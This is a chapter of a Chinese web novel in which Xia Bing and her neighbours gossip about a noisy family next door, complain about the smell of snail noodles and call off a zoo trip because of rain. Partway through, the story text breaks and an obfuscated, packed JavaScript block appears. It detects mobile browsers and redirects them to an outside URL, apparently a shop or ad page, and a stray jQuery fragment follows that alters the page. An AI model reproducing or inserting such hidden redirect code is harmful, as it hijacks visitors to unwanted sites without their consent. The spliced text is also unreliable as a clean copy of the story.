何碧喝了一口柚子汁,看向餐厅,餐桌上摆了一素白花瓶,插着橙黄玫瑰和洋甘菊,其他诸如餐边柜等,明面上都空无一物。又看向连着客厅的阳台,阳台摆着一张小桌,洗衣台上也是空空如也。
“感觉有些空啊。夏冰,你可以摆点装饰,光桌上有花还不够的。”
夏冰也左看右看,“感觉是有点空,下回买点绿植。其实我还挺想买台跑步机放在阳台上。”
“那买啊!”何碧笑,“我已经看好一个牌子,想等男朋友买着来着。”
夏冰眨了眨眼,“那等你买了,我试用下,感觉不错的话就买。因为我挺懒的,怕落灰。”
袁璠哈哈笑,“我看出来了,你买东西都是要考虑买了落灰太浪费?”
夏冰也笑,“这都被你看出来了。”
袁璠:“你这装潢看着简约大气,我留意了下,瓷砖美缝几乎挑不出毛病,我家的我都不想说什么了,你这装修是怎么装修的?”
夏冰因她的话也看向地面,“我是找了全屋定制的,他们家口碑很不错。他们装修我几乎没怎么管。”
袁璠问:“很贵吧?”
夏冰想了会,“是有点,但贵也有贵的好处。”
何碧问:“你这房子是全款买的吗?”
夏冰摇头,“不是,有贷款。”
袁璠:“我家也是贷款,每个月要还一万多。夏冰,你呢?”
夏冰:“我贷了二十五年,每月还两千。”
袁璠惊讶,“这么说,你首付付了很多啊。后面还款压力就小了许多。”
夏冰笑,“是啊。”
何碧问:“你家人帮你付的吗?怎么好像家人不住这儿?”
夏冰眨了眨眼,“他们更喜欢老家的房子。”
袁璠皱眉,“夏冰,按银行贷款相关政策,还款金额不能超过工资的一半。所以,你买东西要考虑很多是不是这个原因?”
夏冰愣了下,随即明白了她的意思。她这是以为她只有四千元工资,还掉房贷,只剩两千元。若无家人的支持,而这两千元,可能无法让她在这个物价偏高的城市里过得很好。
夏冰说得委婉,“我工资不低的,只是我习惯买东西要考虑用得多不多,物尽其用嘛。”
袁璠放了心,“哦哦。”
何碧喝了口柚子汁,忽生好奇,“夏冰,你是做什么工作的?”
夏冰答问:“在一家酒店集团做行政。”
袁璠恍然大悟,“哦,集团行政?那工资可观,是我多虑了。”
夏冰尴尬笑,“也不算可观,我还在试用期。”
何碧呆住,“我记得你说你28了,怎么不是正式员工?”
袁璠也一样呆住,“对啊。”
夏冰吐了吐舌,“我跳过几次槽,到了这家公司,他们说我跳槽太多,要试用三个月看看。”
“三个月?”袁璠惊讶说出口。
何碧看她反应有些大,“怎么了?有什么问题?”
“你不工作你不知道,”袁璠尴尬,“因为三个月确实有点长了,有些少见。”
夏冰耸肩掩饰尴尬,“是长。不过没办法。”
何碧依旧保持着好奇,“我大学毕业后就没工作过,夏冰,你进入社会后都做了些什么,遇到了什么?”
夏冰看两人都饶有兴趣,便挑了些可以说的讲给她们听。期间袁璠也讲了她在商场工作经历,向她们吐槽商场顾客的奇葩。
不知不觉,聊到了9:30,袁璠瞄到墙上挂着的时钟,惊了一瞬,“哎呀九点半了,该回家了。”
何碧起身,准备脱鞋套,忽而竖起耳朵,过了一会儿笑得很开心,“看来今晚又能睡个好觉了。”
袁璠听懂了她的意思,也一同笑了。
正当二人出门夏冰相送时,电梯叮咚一响,有人走出。
是1702那对父子,还有盛情。
男子见门口站了三个女子,微抬眉毛,其中有人他见过,是1701的邻居。他朝她们打了个招呼,“你们好。”
袁璠先应了声“你好”,何碧和夏冰也跟着说了声。
倪康拉过手中牵着的儿子,眼中示意,“东东。”
倪东旭有些扭捏,低着头叫了声:“阿姨好。”
倪康微皱眉。
氛围有些怪,袁璠打破了这奇怪的氛围说:“该回家了,再见。”
夏冰站在最里面,将刚才发生的情况一清二楚地看在眼里。方才倪康让孩子礼貌打招呼时,在倪康身后的盛情翻了个白眼,双手抱胸,鼻子像是无声地哼了一下。
送走袁璠和何碧后,夏冰回到屋里,收拾茶几上的杯杯盘盘。直到睡前,夏冰很满意地没有听到什么噪声。
三天连休在这样的毫无瑕疵的日子里结束了。
夏冰干完了一天的牛马生活,在乘坐地铁快到站时收到了“受害者联盟”的一则消息。
【袁璠:各位,我回家的时候,看到1702父子两人在小区童玩区,小孩在哭哩。】
【何碧:什么什么?发生什么了?小孩做错了事被爸爸打吗?[兴奋]】
【袁璠:远远看到的,不知道啊。】
【何碧:让我瞧瞧,正好连廊望下去能看到童玩区。】
夏冰见不是什么大不了的事,收起了手机,随着一波人流走出了地铁站。
不到十分钟,夏冰回到了小区,走向自己所住的2幢时,往童玩区瞄了一眼,确实如袁璠所说,小孩还在哭。不过爸爸的神情看上去,并不像是在严厉批评。
夏冰没有停留,准备乘坐电梯。两部电梯都没停在1楼,夏冰看着手机静静地等待其中一部下来。
伴随叮咚一声,夏冰收起手机,抬眼就愣了下,是盛情。夏冰视线滑过,很快又滑了回来。
行李箱?
“哒哒”的轮子声响起,盛情旁若无人地走了出来。夏冰走入轿厢转身,只看到行李箱的一角消失在了拐角。
要出远门?
夏冰到了17楼,发现1701处连廊站了袁璠。她走过去,和袁璠打了个招呼就和她往下方看去。
小孩正紧紧拉住倪康衣服的一角,方才看到的行李箱此时已在倪康脚边。
袁璠边回手机消息,边叹:“清静的日子要结束了。”
夏冰没有接话。
袁璠又说:“我老公昨天碰见他了,与他聊了一会儿,问他为什么不住家里,他说公司业务需要,他去阿联酋常驻。”
夏冰听到地名,在脑海里搜索,“阿联酋有点熟,在哪里?”
“在迪拜,坐飞机都要坐七八个小时。”
“牛人。”
如袁璠所说,清静的日子真的结束了。而且今天的噪声比往常要来得早些,8点半就响了起来,那声音简直和拖拉机一样。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332640|199176||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
夏冰早已有了心理准备,耳机已备在了桌上,随取随用。
她叹了一口气。
……
次日晚上,加完班的夏冰回家,刚出电梯就闻到了一股熟悉的臭味。门口边上一团绿影,让她呆在原地,神情满是无奈。
噪音问题复现,螺蛳粉居然也复现了。
她累得只想回家躺在床里。
这几天钟兰母女把很多奇怪的事都交给她办,今天发生的事也让她有些无语。
公司的人总不妥帖操作碎纸机,几张纸不拆订书钉地就往里碎,碎纸机也因此总动不动就坏。今天碎纸机修好后,钟兰把碎纸的任务交给她,但凡有人要来碎纸,就把废纸交给她由她来操作。
她的名号除了“打印机之神”,又多了一个,“碎纸机的神”。
天知道碎上百张纸是什么体力活儿,更无语的是,还要录下整个过程视频证明已碎完,给送来材料的人看,说是为了保证机密没有往外泄露。
今天加班,也是在处理这个,甚至都没碎完。
她的手臂都酸了,累酸得不想去和盛情较劲再做手脚了。再加上,事不过三。
夏冰进门就直奔沙发上,过了十几分钟,才有了点精神看了眼微信。
“受害者联盟”已多了不少消息,夏冰粗略浏览了下。
【袁璠:服了,又吃起了螺蛳粉。】
【何碧:又来?】
【袁璠:是啊,一出门就闻到了。上次那事似乎没让那两个人打消吃螺蛳粉的想法。】
【何碧:神啊,再破一次垃圾袋吧!】
夏冰把手机放边上,闭上眼,这次不干了。
洗澡间,夏冰忽然一个灵机,门口好像多了点什么,因为注意力全在垃圾袋上,全然没注意到多的东西。
洗完澡后,好奇心旺盛的她打开门,探头看了一眼,发现1702门边上多了个鞋柜。唔,门边上确实有十几公分的间隙,有些人家利用这间隙做了窄边柜。
好在不是在两扇门中间做鞋柜。
门口的螺蛳粉味实在是大,夏冰关门将气味隔绝在外。
这一关门隔绝,便是三天。盛情和她儿子倪东旭,已经连续吃了三天。
虽然夏冰还能忍受,但袁璠却受不了,在群里疯狂吐槽,又问夏冰:【夏冰,我真的服你,我可以晚上不出门,早上晚点上班,但你必会路过一次。】
夏冰回复:【也就半分钟的事。明天是周六,也许盛情陪小孩到外面玩,顺带在外面吃饭,那也就不会吃螺蛳粉了。】
【袁璠:好像盛情双休日都会带小孩出去玩,希望如此了。】
【夏冰:明天我想去动物园看那三只大熊猫,你们要不要一起?】
【何碧:哎?我要去我要去。两年前大熊猫来的时候,轰动全城,新闻都播了好几天,哇,那些天动物园挤满了看大熊猫的人。我还没看过那三只呢[开心]】
【袁璠:好啊,我也一起。】
见两人都一起,夏冰兴致勃勃地在聊天框里编辑着行程大致安排,还没打完,袁璠的消息冒了出来:【我看了下明天的天气,会下雨,我不太喜欢雨天出门,我就不去了[委屈]】
【何碧:啊?下雨啊?那我也不去了[汗]】
夏冰皱眉,浏览了天气预报,果如袁璠所说,这场雨会下一整天。
【夏冰:没事,下次再约。】